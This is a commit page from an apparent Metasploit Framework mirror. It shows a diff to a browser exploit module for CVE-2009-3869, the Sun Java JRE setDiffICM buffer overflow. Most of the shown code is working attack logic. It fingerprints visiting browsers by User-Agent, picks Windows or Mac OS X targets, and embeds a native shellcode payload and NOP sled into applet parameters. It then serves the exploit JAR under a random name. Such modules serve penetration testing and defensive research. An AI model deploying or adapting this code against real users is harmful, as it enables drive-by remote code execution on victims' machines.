adam/metasploit-gs
1
0
Fork 0
Code Issues Pull Requests Actions Packages Projects Releases Wiki Activity

try not to repeatedly load static files - see #694

Browse Source 
git-svn-id: file:///home/svn/framework3/trunk@8166 4d416f70-5f16-0410-b530-b9f4589650da
This commit is contained in:
Joshua Drake
2010-01-19 19:12:42 +00:00
parent a60733c5dd
commit 310be42bfa
6 changed files with 232 additions and 192 deletions
Download Patch File Download Diff File Expand all files Collapse all files
modules/exploits/multi/browser/java_setdifficm_bof.rb
+46 -37
View File
@@ -3,7 +3,7 @@
##
##
# This file is part of the Metasploit Framework and may be subject to
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
@@ -14,7 +14,7 @@ require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
Rank = GreatRanking
#
# This module acts as an HTTP server
@@ -26,24 +26,24 @@ class Metasploit3 < Msf::Exploit::Remote
'Name' => 'Sun Java JRE AWT setDiffICM Buffer Overflow',
'Description' => %q{
This module exploits a flaw in the setDiffICM function in the Sun JVM.
The payload is serialized and passed to the applet via PARAM tags. It must be
a native payload.
The effected Java versions are JDK and JRE 6 Update 16 and earlier,
The effected Java versions are JDK and JRE 6 Update 16 and earlier,
JDK and JRE 5.0 Update 21 and earlier, SDK and JRE 1.4.2_23 and
earlier, and SDK and JRE 1.3.1_26 and earlier.
NOTE: Although all of the above versions are reportedly vulnerable, only
1.6.0_u11 and 1.6.0_u16 on Windows XP SP3 were tested.
},
'License' => MSF_LICENSE,
'Author' =>
'Author' =>
[
'jduck'
],
'Version' => '$Revision$',
'References' =>
'References' =>
[
[ 'CVE', '2009-3869' ],
[ 'OSVDB', '59710' ],
@@ -70,19 +70,19 @@ No automatic targetting for now ...
}
],
=end
[ 'J2SE 1.6_16 on Windows x86',
[ 'J2SE 1.6_16 on Windows x86',
{
'Platform' => 'win',
'Arch' => ARCH_X86
}
],
[ 'J2SE 1.6_16 on Mac OS X PPC',
[ 'J2SE 1.6_16 on Mac OS X PPC',
{
'Platform' => 'osx',
'Arch' => ARCH_PPC,
}
],
[ 'J2SE 1.6_16 on Mac OS X x86',
[ 'J2SE 1.6_16 on Mac OS X x86',
{
'Platform' => 'osx',
'Arch' => ARCH_X86,
@@ -93,23 +93,23 @@ No automatic targetting for now ...
'DisclosureDate' => 'Nov 04 2009'
))
end
def on_request_uri(cli, req)
# Create a cached mapping between IP and detected target
@targetcache ||= {}
@targetcache[cli.peerhost] ||= {}
@targetcache[cli.peerhost][:update] = Time.now.to_i
if (target.name =~ /Automatic/)
if (target.name =~ /Automatic/)
case req.headers['User-Agent']
when /Windows/i
print_status("Choosing a Windows target for #{cli.peerhost}:#{cli.peerport}...")
@targetcache[cli.peerhost][:target] = self.targets[1]
when /PPC Mac OS X/i
print_status("Choosing a Mac OS X PPC target for #{cli.peerhost}:#{cli.peerport}...")
@targetcache[cli.peerhost][:target] = self.targets[2]
@targetcache[cli.peerhost][:target] = self.targets[2]
when /Intel Mac OS X/i
print_status("Choosing a Mac OS X x86 target for #{cli.peerhost}:#{cli.peerport}...")
@targetcache[cli.peerhost][:target] = self.targets[3]
@@ -118,27 +118,27 @@ No automatic targetting for now ...
end
end
# Clean the cache
# Clean the cache
rmq = []
@targetcache.each_key do |addr|
if (Time.now.to_i > @targetcache[addr][:update]+60)
rmq.push addr
end
end
rmq.each {|addr| @targetcache.delete(addr) }
# Request processing
if (not req.uri.match(/\.jar$/i))
# Redirect to the base directory so the applet code loads...
if (not req.uri.match(/\/$/))
print_status("Sending redirect so path ends with / ...")
send_redirect(cli, get_resource() + '/', '')
return
end
# Display the applet loading HTML
print_status("Sending HTML to #{cli.peerhost}:#{cli.peerport}...")
send_response_html(cli, generate_html(payload.encoded),
@@ -148,10 +148,10 @@ No automatic targetting for now ...
})
return
end
# Send the actual applet over
print_status("Sending applet to #{cli.peerhost}:#{cli.peerport}...")
send_response(cli, generate_applet(cli, req),
send_response(cli, generate_applet(cli, req),
{
'Content-Type' => 'application/octet-stream',
'Pragma' => 'no-cache'
@@ -169,14 +169,18 @@ No automatic targetting for now ...
<!-- <meta http-equiv=refresh content=10 /> -->
</head>
<body>
<applet width='100%' height='100%' code='AppletX' archive='CVE-2009-3869.jar'>
<applet width='100%' height='100%' code='AppletX' archive='JARNAME'>
<param name='sc' value='SCODE' />
<param name='np' value='NOPS' />
</applet>
</body>
</html>
|
# ugh.. pain
# finalize html
jar_name = rand_text_alphanumeric(32)+".jar"
html.gsub!(/JARNAME/, jar_name)
# put payload into html
debug_payload = false
pload = ""
pload << "\xcc" if debug_payload
@@ -188,20 +192,31 @@ No automatic targetting for now ...
print_status("pload #{pload.length} bytes:\n" + Rex::Text.to_hex_dump(pload))
end
html.gsub!(/SCODE/, Rex::Text.to_hex(pload, ''))
# put nops into html
nops = "\x90\x90\x90\x90"
html.gsub!(/NOPS/, Rex::Text.to_hex(nops, ''))
#print_status("nops #{nops.length} bytes:\n" + Rex::Text.to_hex_dump(nops))
return html
end
def exploit
path = File.join(Msf::Config.install_root, "data", "exploits", "CVE-2009-3869.jar")
fd = File.open(path, "rb")
@jar_data = fd.read(fd.stat.size)
fd.close
super
end
def generate_applet(cli, req)
this_target = nil
if (target.name =~ /Automatic/)
if (target.name =~ /Automatic/)
if (@targetcache[cli.peerhost][:target])
this_target = @targetcache[cli.peerhost][:target]
else
@@ -211,13 +226,7 @@ No automatic targetting for now ...
this_target = target
end
path = File.join(Msf::Config.install_root, "data", "exploits", "CVE-2009-3869.jar")
fd = File.open(path, "rb")
data = fd.read(fd.stat.size)
fd.close
return data
end
return @jar_data
end
end